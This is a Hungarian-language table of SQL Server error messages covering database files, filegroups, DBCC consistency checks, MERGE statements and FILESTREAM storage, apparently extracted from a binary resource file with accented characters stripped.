HA vltozskvets nem engedlyezhetQ a kvetkezQ tblra:  %1!s! . A vltozskvets nem tmogatja idQblyegzQ tpus elsQdleges kulcs hasznlatt a tblban.

pA felhasznlnak szerepelnie kell a fQadatbzisban.

$A kvetkezQ adatbzis nem ltezik:  %1!s! . EllenQrizze a nevet a sys.databases katalgusnzetben, majd prblja jbl elvgezni a mqveletet.

Az adatbzis-tkrzs nem engedlyezhetQ, amg az adatbzis offline fjlokat tartalmaz.

Az ALTER DATABASE utasts hasznlathoz az adatbzisnak olyan rhat llapotban kell lennie, amelyben ellenQrzQpont hajthat vgre.

A megadott %1!s! msodperc helyrelltsi idQ vagy kisebb nullnl, vagy nagyobb a maximlisan engedlyezett %2!s! msodpercnl.

A(z)  %2!s!  %1!s! nem szerezhetQ meg kizrlagos hasznlatra a krt mqvelet elvgzshez.

Ez az ALTER DATABASE utasts nem tmogatott. Javtsa ki a szintaxist, s hajtsa vgre az utastst jbl.

Az utastsban felsorolt egy vagy tbb fjl nem tallhat vagy nem inicializlhat.

Naplfjlnv nem hozhat ltre nyers eszkzbQl. Meg kell adni a naplfjl nevt s elrsi tjt.

A felhasznlnak nincs engedlye a(z)  %1!s!  adatbzis mdostsra, az adatbzis nem ltezik, vagy pedig az adatbzis nem olyan llapotban van, amelyik engedn a hozzfrs-ellenQrzseket.

hAz elsQdleges fjlcsoport neve nem mdosthat.

A master s a model adatbzishoz nem lehet hozzadni fjlokat. Az ALTER DATABASE mqvelet megszakadt.

A(z)  %3!s!  adatbzisban nem ltezik a kvetkezQ:  %2!s!  %1!s!.

Az ALTER DATABASE utasts vgrehajtsa sikertelen volt. A megadott teljes mretnek legalbb 1 MB-nak kell lennie.

Nem mdosthat a kvetkezQ rendszeradatbzis neve: %1!s!.

Az elsQdleges adatok s a naplfjl nem tvolthatk el az adatbzisbl.

Ennl az adatbzisnl mr aktv a kvetkezQ naplfjl:  %1!s! .

A napl jraptshez az adatbzisnak gyans llapotban vagy vszhelyzeti mdban kell lennie.

Nem tallhat bejegyezs az elsQdleges naplfjlhoz a kvetkezQben: sysfiles1. A naplt nem sikerlt jrapteni.

Mr ltezik a kvetkezQ fjl:  %1!s! . t kell nevezni vagy trlni kell ahhoz, hogy j naplfjlt lehessen ltrehozni.

A master, a model s a tempdb rendszeradatbzisnak nem pthetQ jra a naplja.

A rendszer nem tudott eleget aktivlni az adatbzisbl ahhoz, hogy jra lehessen pteni a naplt.

Az adatbzist nem lehetett kizrlagosan zrolni a mqvelet vgrehajtshoz.

A(z)  %1!s!  fjlt nem lehet eltvoltani, mert ez az egyetlen fjl a DEFAULT fjlcsoportban.

Tllpte a maximlisan engedlyezett %1!s! fjlt adatbzisonknt.

A(z) %1!s! fjl jelenleg automatikus nvekeds alatt ll, vagy egy msik folyamat ppen mdostja. Prblja meg jra a mqveletet ksQbb.

8Ebben az adatbzisban mr ltezik a kvetkezQ fjlcsoport:  %1!s! . Adjon meg egy msik nevet, vagy pedig tvoltsa el az tkzQ fjlcsoport, ha res.

Nem sikerlt a MODIFY FILE mqvelet. Logikai nevet kell megadni.

Nem sikerlt a MODIFY FILE mqvelet a kvetkezQ fjlnl:  %1!s! . Fjlonknt legalbb egy tulajdonsgot meg kell adni.

Nem sikerlt a MODIFY FILE mqvelet. A megadott mret nem nagyobb a jelenlegi mretnl.

Nem sikerlt a MODIFY FILE mqvelet. A mret nagyobb, mint MAXSIZE.

Nem sikerlt a MODIFY FILE mqvelet. Nem ltezik a kvetkezQ fjl:  %1!s! .

A kvetkezQ nem tvolthat el, mert nem res:  %2!s!  %1!s!.

xA(z)  %2!s!  %1!s! nem tallhat a kvetkezQben: %3!s!.

A(z) %1!s! esetben mr be van lltva a kvetkezQ tulajdonsg:  %2!s! .

A PRIMARY fjlcsoport READONLY tulajdonsgt nem lehet mdostani.

A(z)  %1!s!  fjlcsoportba nem lehet fjlokat felvenni, onnan eltvoltani vagy mdostani. A fjlcsoport csak olvashat.

Nem lehet mdostani a kvetkezQ res fjlcsoport tulajdonsgait:  %1!s! . A fjlcsoportnak legalbb egy fjlt tartalmaznia kell.

TNem lehet  DEFAULT  nevq fjlcsoport.

%1!s! nem engedlyezett, amg az adatbzis %2!s! llapotban van.

0Nem sikerlt a munkatbla IAM-lncainak tiszttsa a fjleltvoltsi vagy -zsugortsi mqvelet rdekben. Prblja jra, amikor a tempdb inaktv.

Nem lehet felvenni, eltvoltani vagy mdostani a kvetkezQ fjlt:  %1!s! . A fjl csak olvashat.

Nem lehet felvenni, eltvoltani vagy mdostani egy fjlt a(z)  %1!s!  fjlcsoportban, mert a fjlcsoport nincs online llapotban.

Nem lehet felvenni, eltvoltani vagy mdostani a kvetkezQ fjlt:  %1!s! , mert offline llapotban van.

A(z)  %1!s!  bellts nem adhat meg a kvetkezQ adatbzisban:  %2!s! .

tmeneti llapotban van a kvetkezQ adatbzis:  %1!s! . Prblkozzon ksQbb az ALTER DATABASE utastssal.

<Az ALTER DATABASE utasts vgrehajtsa sikertelen volt, mert nem sikerlt zrolst helyezni a kvetkezQ adatbzisra:  %1!s! . KsQbb prblja meg jbl.

Egy msik krt belltssal tkzik a kvetkezQ bellts:  %1!s! . A kt bellts nem krhetQ egyszerre.

Meleg kszenltben van a kvetkezQ adatbzis:  %1!s! . A meleg kszenltben lvQ adatbzisok csak olvashatk.

HA(z)  %1!s!  adatbzis llapota vagy belltsai most nem mdosthatk. Az adatbzis egyfelhasznls mdban van, s jelenleg csatlakozik hozz egy felhasznl.

A(z)  %1!s!  fjlt ppen olvassa vagy hasznlja egy httrfolyamat vagy egy felhasznli folyamat. Prblja meg a mqveletet ksQbb.

A  single user  s a  dbo use only  adatbzis-belltsok nem adhatk meg egyszerre.

A TORN_PAGE_DETECTION adatbzis-bellts nem kompatibilis a PAGE_CHECKSUM belltssal.

\Nem sikerlt az ALTER DATABASE utasts.

Az adatbzis llapota nem mdosthat, amg ms felhasznlk hasznljk a kvetkezQ adatbzist:  %1!s! .

A napl jraptsi mqvelete csak egyetlen fjlt hatrozhat meg.

,Az ALTER DATABASE utasts vgrehajtsa sikertelen volt. A(z)  %1!s!  adatbzis alaprtelmezett rendezse nem llthat be a kvetkezQre: %2!s!.

Nem lehet mdostani a(z)  %1!s!  adatbzis rendezst, mert READONLY vagy OFFLINE llapot, illetve SUSPECT megjellsq.

xA(z)  %2!s!  %1!s! a kvetkezQtQl fgg:  %4!s!  %3!s!.

A(z)  %2!s!  %1!s! a kvetkezQtQl fgg: %3!s!. Az adatbzis rendezst nem lehet mdostani, ha egy smhoz kttt objektum fgg tQle. Tvoltsa el az adatbzis rendezst rintQ fggQsgeket, majd prblja jbl elvgezni a mqveletet.

Nem lehet mdostani a nem adatfjlok, illetve az elsQdleges fjlcsoportban lvQ fjlok llapott.

Nem lehet mdostani a(z)  %1!s!  adatbzis belltsait, mert READONLY vagy OFFLINE llapot, illetve SUSPECT megjellsq.

 A vardecimal (vltoz hosszsg decimlis) trolsi formtum nem tilthat le a(z)  %1!s!  adatbzisnl, mert az adatbzis nem tartozik az egyszerq helyrelltsi modell al. Mdostsa az adatbzis helyrelltsi modelljt egyszerqre, majd adja ki jbl a parancsot.

Nem rvnyes a(z)  %1!s!  vltozskvetsi bellts rtke. Az rtknek pozitv szmnak kell lennie.

A(z)  %1!s!  adatbzis verziszmozsi llapott nem lehet msik adatbzis-llapottal egytt cserlni.

A megszaktsi lehetQsg nem tmogatott a verziszmozsi mdostsok vgrehajtsakor.

Nem sikerlt az  Alter database  parancs, mert az SQL Server egy vagy tbb olyan nem dokumentlt nyomkvetsi jelzQvel lett elindtva, amelyek megakadlyozzk az adatbzis verziszmozsnak engedlyezst/tiltst.

TNem lehet letiltani a vardecimal trolsi formtumot a(z)  %1!s!  adatbzis esetn, mert van legalbb egy olyan tbla, amelyen engedlyezve van a vardecimal trolsi formtum. MielQtt megprbln letiltani a vardecimal trolsi formtumot az adatbzison, az sszes tbln le kell tiltani azt.

A fjl tartalomtpusa nem egyezik a fjlcsoport tartalomtpusval.

A vltozskvets mr engedlyezve van a kvetkezQ adatbzison:  %1!s! .

tA vltozskvets le van tiltva a kvetkezQ adatbzison:  %1!s! . A vltozskvetsi belltsok csak akkor mdosthatk, ha a vltozskvets engedlyezve van az adott adatbzison.

A(z)  %1!s!  egy rendszeradatbzis. Rendszeradatbzisoknl nem mdosthatk a vltozskvetsi belltsok.

Az ALTER DATABASE  %1!s!  vltozskvetsi bellts tbbszr szerepel. Minden egyes bellts csak egyszer adhat meg.

Nem rvnyes a kvetkezQ vltozskvetsi bellts rtke:  %1!s! . Az rtknek %2!s! s %3!s! perc kztt kell lennie.

pA mqvelet nem vgezhetQ el adatbzis-pillanatkpen.

A mqvelet nem vgezhetQ el adatbzis-pillanatkpekkel vagy aktv DBCC-msodpldnyokkal rendelkezQ adatbzison.

Adatbzis vagy fjlcsoport nem llthat csak olvashat mdba, ha brmely fjl RESTORE PAGE mqveletben szerepel. A csak olvashat mdra val ttrs elQtt fejezze be a(z)  %1!s!  fjlt rintQ helyrelltsi mqveletsort.

A helyrelltsi modell nem mdosthat egyszerqre (SIMPLE), ha brmely fjl RESTORE PAGE mqveletben szerepel. A SIMPLE modellre val ttrs elQtt fejezze be a(z)  %1!s!  fjlt rintQ helyrelltsi mqveletsort.

A trol nem llthat offline llapotba, mert olyan mdostsok llnak fenn, amelyek naplmentst ignyelnek. Vgezzen naplmentst, majd prblkozzon jra az ALTER DATABASE utastssal.

\A trol nem dobhat el, mert olyan mdostsok llnak fenn, amelyek naplmentst ignyelnek. Vgezzen naplmentst, majd prblkozzon jra az ALTER DATABASE mqvelettel.

rvnytelen azonostj (%1!s!) fjlcsoportot prblt megnyitni a kvetkezQ adatbzisban:  %2!s! .

A MAXSIZE nem lehet kisebb, mint a SIZE, a kvetkezQ fjl esetn:  %1!s! .

hMr hasznlatban van a kvetkezQ fjl:  %1!s! .

lFjlaktivlsi hiba trtnt. Lehet, hogy helytelen a kvetkezQ fizikai fjlnv:  %1!s! . Dertse fel s javtsa ki a tovbbi hibkat, majd prblja jbl elvgezni a mqveletet.

A(z)  %1!s!  fjl olyan hlzati elrsi ton tallhat, amely rendszeradatbzis-fjlok esetn nem tmogatott.

Naplfjl, offline fjl, visszallts alatt ll fjl s nem mqkdQkpes fjl nem adhat meg adatbzis-pillanatkp cljra. A kvetkezQ fjl nem hasznlhat adatbzis-pillanatkpknt:  %1!s! .

Csak SQL Server adatbzisfjlokat lehet megadni adatbzis-pillanatkp cljra.  %1!s!  nem SQL Server adatbzisfjl.

A(z)  %1!s!  fjl tmrtve van, de nem egy csak olvashat adatbzisban vagy fjlcsoportban helyezkedik el. A fjlt ki kell bontani.

Nem alakthat ritka fjll a kvetkezQ fjl:  %1!s! . EllenQrizze, hogy a fjlrendszer tmogatja-e a ritka fjlokat.

Nem lehet megnyitni a kvetkezQ fizikai fjlt:  %1!s! . Az opercis rendszer ltal visszaadott hiba: %2!s!:  %3!s! .

A(z)  %1!s!  ltal megadott elrsi t nincs rvnyes knyvtrban.

4A CREATE FILE mqvelet opercis rendszerbeli hibt (%1!s!) szlelt, amikor megprblta megnyitni vagy ltrehozni a kvetkezQ fizikai fjlt:  %2!s! .

 %1!s!  fjlfejlce nem egyezik a(z)  %3!s!  adatbzis  %2!s!  fjljnak vrt tartalmval. Az eltrs valsznqleg a teljes szveges katalgusfjlok s a kapcsold adatbzis kztt ll fenn. Szksg esetn hajtson vgre visszalltst.

$gy tqnik, hogy az opercis rendszer csonkolta a kvetkezQ fjlt:  %1!s! . A fjl vrt mrete %2!s! KB, a tnyleges mrete viszont %3!s! KB.

Adatbzis-pillanatkp ltrehozshoz az sszes fjlt meg kell adni. Hinyzik a kvetkezQ fjl:  %1!s! .

Lemezterlet hinya miatt nem sikerlt az rs a kvetkezQ ritka fjlba:  %1!s! .

A(z)  %1!s!  ltal megadott elrsi t nem hasznlhat FILESTREAM-fjlokhoz, mert ez egy nyers eszkz.

A(z)  %1!s!  fjlra irnyul knyvtrkeress sikertelen a(z) %2!s! opercis rendszerbeli hiba miatt.

A(z)  %1!s!  ltal megadott elrsi t nem hasznlhat FILESTREAM-fjlokhoz, mert nincs tmogatott fjlrendszeren.

,FILESTREAM-fjlokhoz nem hasznlhat a kvetkezQ elrsi t:  %1!s! . A tmogatott elrsi utakrl az SQL Server online knyveiben tjkozdhat.

A(z)  %1!s!  ltal megadott elrsi t nem hasznlhat FILESTREAM-trolhoz, mert egy msik FILESTREAM-trol tartalmazza.

A MODIFY FILE mqvelet opercis rendszerbeli hibt (%1!s!) szlelt, amikor megprblta kibQvteni a kvetkezQ fizikai fjlt:  %2!s! .

lEgy naplfjl mrete nem lehet nagyobb 2 TB-nl.

%1!s! opercis rendszerbeli hiba trtnt a(z)  %2!s!  fjlon, %3!s! kzben.

\A program vratlan fjlazonostt tallt. A vrt azonost: %1!s!, de helyette a(z) %2!s! azonostt olvasta ki a kvetkezQbQl:  %3!s! . EllenQrizze, hogy megfelelQ-e a fjlok hozzrendelse a sys.master_files nzetben. Az ALTER DATABASE mqvelet segtsgvel lehet kijavtani a hozzrendelseket.

A FILEGROWTH nem lehet nagyobb, mint a MAXSIZE, a kvetkezQ fjl esetn:  %1!s! .

0A kvetkezQ fjl nem hozhat ltre, mert mr ltezik:  %1!s! . Mdostsa a fjl elrsi tjt vagy nevt, s prblja jbl elvgezni a mqveletet.

X%1!s! nem egy elsQdleges adatbzisfjl.

A(z)  %1!s!  fjl fejlce nem rvnyes adatbzisfjl-fejlc. Helytelen a kvetkezQ tulajdonsg: %2!s!.

Egy vagy tbb fjl nem egyezik meg az adatbzis elsQdleges fjljval. Ha adatbzist prbl csatolni, prblja jbl elvgezni a mqveletet a helyes fjlokkal. Ha ez ltezQ adatbzis, akkor valsznqleg srlt a fjl, s biztonsgi msolatbl kell visszalltani.

Minden egyes fjlmretnek legalbb 512 KB-nak kell lennie.

Vratlan hiba trtnt a kvetkezQ fjl szektormretnek ellenQrzsekor:  %1!s! . Helyezze t a fjlt egy helyi NTFS-ktetre, ahol kiolvashat a szektormret. Tovbbi informcirt tekintse meg az SQL Server hibanapljt.

Nem hasznlhat a(z)  %1!s!  fjl, mert eredetileg %2!s! szektormrettel lett formzva, viszont jelenleg %3!s! szektormretq kteten tallhat. Helyezze t a fjlt olyan ktetre, amelynek szektormrete nem nagyobb a fjl eredeti szektormretnl.

Nem hasznlhat a(z)  %1!s!  fjl, mert %2!s! szektormretq kteten tallhat. Az SQL Server maximum 4096 bjtos szektormretet tmogat. Helyezze t a fjlt olyan ktetre, amelynek ezzel kompatibilis a szektormrete.

|Nem lehet megnyitni az rvnytelen %1!s! azonostj fjl fjlvezrlQ (FCB) blokkjt a kvetkezQ adatbzisban:  %2!s! . EllenQrizze a fjl helyt. Hajtsa vgre a DBCC CHECKDB utastst.

Nem sikerlt jraindtani a kvetkezQ adatbzist:  %1!s! . Visszall az elQzQ llapot.

Nem lehet ltrehozni a kvetkezQ fjlt:  %1!s! . Hasznlja a WITH MOVE belltst egy hasznlhat fizikai fjl nevnek megadshoz. MeglvQ fjl fellrshoz pedig hasznlja a WITH REPLACE belltst.

TFrtztt kiszolglhoz nem hasznlhat a kvetkezQ fjl:  %1!s! . Csak olyan formzott fjlok hasznlhatk, amelyeken fggQsge van a kiszolgl frterQforrsnak. Vagy a fjlt tartalmaz lemezerQforrs nincs benne a frtcsoportban, vagy az SQL Server frterQforrsnak nincs rajta fggQsge.

Nem tallhat az egyezQ naplfjl a kvetkezQ FILESTREAM-fjlhoz:  %1!s! .

Hiba trtnt (NT llapotkd: 0x%1!s!) a(z)  %2!s!  tranzakcis fjlrendszeri erQforrs-kezelQ indtsra tett ksrlet kzben.

Hiba trtnt (NT llapotkd: 0x%1!s!) a(z)  %2!s!  tranzakcis fjlrendszeri erQforrs-kezelQ  Mgis  mqveletre tett ksrlet kzben.

$Hiba trtnt (NT llapotkd: 0x%1!s!) a(z)  %2!s!  tranzakcis fjlrendszeri erQforrs-kezelQ  Visszavons  mqveletre tett ksrlet kzben.

4Hiba trtnt (NT llapotkd: 0x%1!s!) a(z)  %2!s!  tranzakcis fjlrendszeri erQforrs-kezelQ ellenQrzQpontjnak ltrehozsra tett ksrlet kzben.

A(z)  %1!s!  FILESTREAM-naplfjl mrete nem lehet kisebb 1 MB-nl.

A fjl elrsi tjnak ellenQrzse kzben a(z)  %1!s!  frtszolgltatsi fggvnyhvs meghisult (hibakd:  %2!s! ). EllenQrizze, hogy a feladattvteli frt megfelelQen van-e konfigurlva.

Hiba trtnt (%1!s!) a kvetkezQ fjl kibontsakor:  %2!s! .

A(z)  %1!s!  ltal megadott elrsi t UNC-tvonal. UNC-tvonal nem tmogatott feladattvteli frtztt krnyezetben.

,A(z)  %1!s!  ltal megadott elrsi t egy nyers eszkz. A nyers eszkzn lvQ elrsi t nem tmogatott feladattvteli frtztt krnyezetben.

Nem tallhat a kvetkezQ azonostj foglalsi egysg: %1!s!. EllenQrizze a sys.allocation_units katalgusnzetet.

XTblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: %6!s!, sor: %7!s!. A DBCC mqvelet be nem fejezQdtt adattiszttst szlelt egy online indexksztsi mqvelet nyomn. (Az antianyagoszlop rtke %8!s!.)

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). Ez az elem antianyagoszlopot tartalmaz, pedig nem frtzs nlkli index.

Tblahiba: Foglalsi egysg azonostja: %1!s!, lap: %2!s!. A teszt (%3!s!) sikertelen volt. Az rtkek: %4!s! s %5!s!.

Nem sikerlt feldolgozni a(z) %1!s! objektumazonostt (objektum:  %2!s! ), mert ez egy trolt eljrs vagy felhasznl ltal definilt fggvny, amelyet egyetlen DBCC utasts sem tmogat.

(Nem sikerlt feldolgozni a(z) %1!s! objektumazonostt (objektum:  %2!s! ), mert ez a DBCC utasts nem tmogatja az ilyen tpus objektumokat.

XA program inkonzisztencit szlelt a(z)  %1!s!  adatbzisban (azonost: %2!s!) vgzett belsQ mqvelet sorn, lap: %3!s!. Forduljon a technikai tmogatsi szolglathoz.

A program inkonzisztencit szlelt egy belsQ mqvelet sorn. Forduljon a technikai tmogatsi szolglathoz.

0Nem sikerlt a javtsi utasts feldolgozsa. Az adatbzis egy vagy tbb fjlja csak olvashat; ezeket rhatv kell tenni a javts futtatshoz.

Objektumazonost: %1!s! (objektum:  %2!s! ): A DBCC utasts nem tudta zrolni ezt az objektumot, mert letelt a zrolsi krelem idQkorltja. Ez az objektum kimarad, s nem lesz feldolgozva.

|Nem lehet javtsi mqveletet vgrehajtani az MSSQLSYSTEMRESOURCE adatbzison. Tovbbi informcit az online knyvek  Resource Database  (ErQforrs-adatbzis) cmq tmakrben tallhat.

Javts: szrjon be egy msodlagos indexsort, amely az alaptblasorn alapul.

Adatbzishiba: rvnytelen a(z) %1!s! %2!s! jelq lap a kvetkezQ adatbzisban:  %3!s!  (adatbzis-azonost: %4!s!). Ez a hiba nem javthat. Biztonsgi msolatbl kell visszalltst vgezni.

,Tblahiba: Foglalsi egysg azonostja: %1!s!, lap: %2!s! helytelen lapazonostt tartalmaz a lapfejlcben. A lapfejlcben levQ PageId = %3!s!.

Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus:%5!s!): A(z) %6!s! jelq lapon legalbb egy rekord verziszmozsi informcit tartalmaz, pedig nincs belltva a VERSION_INFO bit a lapfejlcben.

Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: %6!s!, sor: %7!s!: A sor NULL verziszmozsi idQblyegzQt tartalmaz, pedig a hozz tartoz verzilnc-mutat nem NULL. A verzilnc a kvetkezQ lapra mutat: %8!s!, trolhely: %9!s!.

Megszakadt az ellenQrzs. A(z)  %1!s!  adatbzis (azonost: %2!s!) tmeneti adatbzis-pillanatkpe gyansnak lett megjellve egy ki-/bemeneti mqveleti hiba miatt. A rszleteket az SQL Server hibanapljban tallja.

<Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: %6!s!. A(z) %7!s! tmrtett laphoz rvnytelen, a kvetkezQ belsQ teszt vgrehajtsa sikertelen volt: %8!s!. Az rtkek: %9!s! s %10!s!.

Vratlan protokollelem rkezett egy konzisztencia-ellenQrzsi parancs vgrehajtsa sorn. Prblja jbl elvgezni a mqveletet.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: %6!s!. A lap fejlce rvnytelen: be van lltva az IS_IN_SYSXACT jelzQbit.

A repliklt  %1!s!  index (objektumazonost: %2!s!) s annak egy vagy tbb klnja nem ugyanazokat a sorokat tartalmazza. 

xNem sikerlt a tmeges betlts. A felhasznlnak nincs ALTER TABLE engedlye a kvetkezQ tblra vonatkozan:  %1!s! . ALTER TABLE engedly szksges a tmeges betlts cltbljra vonatkozan, ha a cltbla esemnyindtkat vagy ellenQrzQ korltozsokat tartalmaz, de nincs megadva a  FIRE_TRIGGERS  vagy a  CHECK_CONSTRAINTS  tmeges mutat. ALTER TABLE engedly szksges olyankor is, ha meg van adva a  KEEPIDENTITY  tmeges mutat.

A(z)  %1!s!  llapotmdost (helye:  %2!s! ) nem hvhat meg null rtkkel.

A(z)  %1!s!  llapotmdostnak a(z)  %2!s!  CLR-beli tpusra trtnQ alkalmazsa nem eredmnyezhet null rtket.

Nem sikerlt a tmeges msols. A felhasznlnak nincs ALTER TABLE engedlye a kvetkezQ tblra vonatkozan:  %1!s! . ALTER TABLE engedly szksges a tmeges msols cltbljra vonatkozan, ha a tbla esemnyindtkat vagy ellenQrzQ korltozsokat tartalmaz, de a tmeges msols parancs kapcsoljaknt nincs megadva a  FIRE_TRIGGERS  vagy a  CHECK_CONSTRAINTS  tmeges mutat.

A rowdump s a lockres oszlop csak olyan tblk s indexelt nzetek esetben rvnyes, amelyeken meg van adva a NOEXPAND mutat.

Fggvnyeknl nem engedlyezettek a kurzorparamterek. A kvetkezQ vltoz kurzor tpus:  %1!s! .

rvnytelen paramtert kapott az sp_cursoropen trolt eljrs.

Az ablakolt fggvnyek s a NEXT VALUE FOR fggvnyek nem tmogatjk az egsz szm tpus indexeket ORDER BY zradkkifejezsknt.

Az ablakolt fggvnyek s a NEXT VALUE FOR fggvnyek nem tmogatjk az llandkat ORDER BY zradkkifejezsknt.

sszestsek nem szerepelhetnek egy INSERT utasts VALUES listjn.

rvnytelen idzQjel:  %1!s! . Egy tvoli kiszolgli vagy felhasznli parancs rvnytelen idzQjelet hasznlt.

\Nem kthetQ az  ntile  fggvny bemenete.

rvnytelen objektumra hivatkozik a kvetkezQ szinonima:  %1!s! .

Egy MERGE utasts clpontja nem lehet tvoli tbla, tvoli nzet vagy tvoli tblkon alapul nzet.

A MERGE utasts  %1!s!  clpontjnak INSTEAD OF esemnyindtja van a MERGE utastsban megadott nhny (de nem minden) mqveleten. Ha egy MERGE utastsban brmely mqveletnl engedlyezve van az INSTEAD OF esemnyindt a clpontra vonatkozan, akkor minden mqveletnl engedlyezni kell az INSTEAD OF esemnyindtt.

xMERGE utasts clpontja nem lehet particionlt nzet.

MERGE utastsban a forrsnak s a clnak nem lehet azonos a neve vagy az aliasneve. Hasznljon klnbzQ aliasnevet a forrs s a cl szmra, hogy egyedi nevk legyen a MERGE utastsban.

sszestsek nem szerepelhetnek MERGE utasts WHEN zradkban.

,A(z)  %1!s!  fggvny nem szerepelhet a(z) %2!s! zradkban, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

$sszestQ fggvny nem szerepelhet a(z) %1!s! zradkban, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

$Allekrdezsek nem szerepelhetnek a(z) %1!s! zradkban, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

MERGE utastsban keressi felttelt tartalmaz  %1!s!  zradk nem szerepelhet keressi felttelt nem tartalmaz  %2!s!  zradk utn.

Az adatfjlban az adatok sorrendje nem felel meg a(z)  %1!s!  BULK sorkszlethez tartoz ORDER mutatnak. Az adatok sorrendjnek meg kell egyeznie a BULK sorkszlet ORDER mutatjban megadott sorrenddel. Mdostsa az ORDER mutatt, hogy a bemeneti adatok sorrendjt mutassa, vagy mdostsa a bemeneti adatfjlt, hogy az megfeleljen az ORDER mutat ltal elQrt sorrendnek.

Az adatfjlban lvQ adatok nem felelnek meg a(z)  %1!s!  BULK sorkszlethez tartoz UNIQUE mutatnak. Az adatfjlban lvQ adatoknak egyedieknek kell lennik, ha meg van adva a UNIQUE mutat egy BULK sorkszletnl. Vagy tvoltsa el a UNIQUE mutatt, vagy mdostsa a bemeneti adatfjlt oly mdon, hogy egyediek legyenek az adatok.

8A(z)  %1!s!  oszlop nem rendelkezik olyan rvnyes adattpussal, amely megfelelne a(z)  %2!s!  adatforrshoz megadott ORDER mutatnak. Szveg, ntext, kp, xml, varchar(max), nvarchar(max) s varbinary(max) adattpus nem hasznlhat BULK sorkszlet vagy CLR TVF ORDER mutatjban.

Nem lehet beszrni explicit rtket az INSERT utasts  %2!s!  cltbljnak  %1!s!  identitsoszlopba, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

,Ablakolt fggvnyek nem szerepelhetnek a(z) %1!s! zradkban, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

A teljes szveges prediktumok nem szerepelhetnek az OUTPUT zradkban.

@Teljes szveges prediktumok nem szerepelhetnek a(z) %1!s! zradkban, ha a FROM zradk begyazott INSERT, UPDATE, DELETE vagy MERGE utastst tartalmaz.

Az adatfolyamban az adatok sorrendje nem felel meg a(z)  %1!s!  CLR TVF-hez tartoz ORDER mutatnak. Az adatok sorrendjnek meg kell egyeznie a CLR TVF ORDER mutatjban megadott sorrenddel. Vagy mdostsa az ORDER mutatt, hogy a bemeneti adatok sorrendjt mutassa, vagy mdostsa a CLR TVF-et, hogy az megfeleljen az ORDER mutat ltal elQrt sorrendnek.

\Nem kthetQ a kvetkezQ azonost:  %1!s! . Csak forrsoszlopok s a zradk hatkrben lvQ oszlopok engedlyezettek egy MERGE utasts  WHEN NOT MATCHED  zradkban.

lNem kthetQ a kvetkezQ azonost:  %1!s! . Csak closzlopok s a zradk hatkrben lvQ oszlopok engedlyezettek egy MERGE utasts  WHEN NOT MATCHED BY SOURCE  zradkban.

A(z) %1!s! adattpus nem hasznlhat az UNION, az INTERSECT vagy az EXCEPT opertorok operandusaknt, mert nem sszehasonlthat. 

A FILESTREAM-fjlcsoportot eldobtk, mielQtt ltre jhetett volna a tbla.

dA FILESTREAM-trolhoz nem lehet hozzfrni.

A  PRIMARY  kulcssz csak  CONTAINS  zradkban adhat meg FILESTREAM-naplfjlcsoportra vonatkozan.

FILESTREAM-oszlopokkal rendelkezQ tblnak rendelkeznie kell egy nem null egyedi oszloppal, amelynek van ROWGUIDCOL tulajdonsga. 

FILESTREAM-adatfjl vagy -naplfjl neve nem lehet  DEFAULT .

A DEFAULT kulcssz nem adhat meg a(z)  %1!s!  FILESTREAM-naplfjlcsoport szmra.

|FILESTREAM csak VARBINARY oszlopok szmra deklarlhat.

A SIZE s a FILEGROWTH tulajdonsg nem adhat meg a kvetkezQ FILESTREAM-adatfjl szmra:  %1!s! . 

A LOG ON nem hasznlhat a kvetkezQ nem FILESTREAM-fjlcsoportnl:  %1!s! .

Srlt a FILESTREAM fjlrendszernek  %2!s!  naplmappa alatti naplrekordja:  %1!s! .

0x%1!s! hiba (%2!s!) trtnt a kvetkezQ knyvtr csonkolsa kzben:  %3!s! .

Nem rvnyes a(z)  %1!s!  FILESTREAM-fjlcsoporthoz tartoz trstott napl fjlcsoportja szmra megadott nv.

DA tranzakcis replikci / adatvltozsok rgztse nem tud folytatdni, mert a tranzakcis fjlrendszer erQforrs-kezelQje (helye:  %1!s! ) nincs elindtva.

$Nem lehet megnyitni a FILESTREAM-fjl  %1!s!  trolknyvtrt. Az opercis rendszer a kvetkezQ Windows-llapotkdot adta vissza: 0x%2!s!.

A(z)  %1!s!  FILESTREAM-naplfjlcsoportra nem hivatkozhat tbb FILESTREAM-adatfjlcsoport.

A FILESTREAM trol MAXSIZE mrete nem lehet kisebb, mint 512 KB.

pTl hossz a kvetkezQ FILESTREAM-tvonal:  %1!s! .

<Egy adatbzisnak rendelkeznie kell elsQdleges FILESTREAM-naplfjlcsoporttal s naplfjllal ahhoz, hogy tartalmazhasson ms FILESTREAM-fjlcsoportokat.

A(z) %2!s! azonostj adatbzisban levQ  %1!s!  trolazonostj FILESTREAM frisstse sikertelen volt, mert hiba trtnt a trolmret jraszmtsakor. Keresse meg a hibkat a korbbi hibanapl-bejegyzsek kztt, s tegye meg a szksges intzkedseket.

h0x%1!s! hiba (NT llapotkd) trtnt, amikor az SQL Server a(z)  %3!s!  helyen lvQ tranzakcis fjlrendszeri erQforrs-kezelQbQl megprblta beolvasni a kvetkezQt:  %2!s! .

A FILESTREAM-adatfjl nem tvolthat el, mert nem kszlt biztonsgi msolat a naplfjljrl.

A FILESTREAM-adatfjlcsoport nem vehetQ fel azzal a cllal, hogy egy res FILESTREAM-naplfjlcsoportra hivatkozzon.

Az alaprtelmezett FILESTREAM-adatfjlcsoport csak akkor tvolthat el, ha ez az utols megmaradt FILESTREAM-adatfjlcsoport.

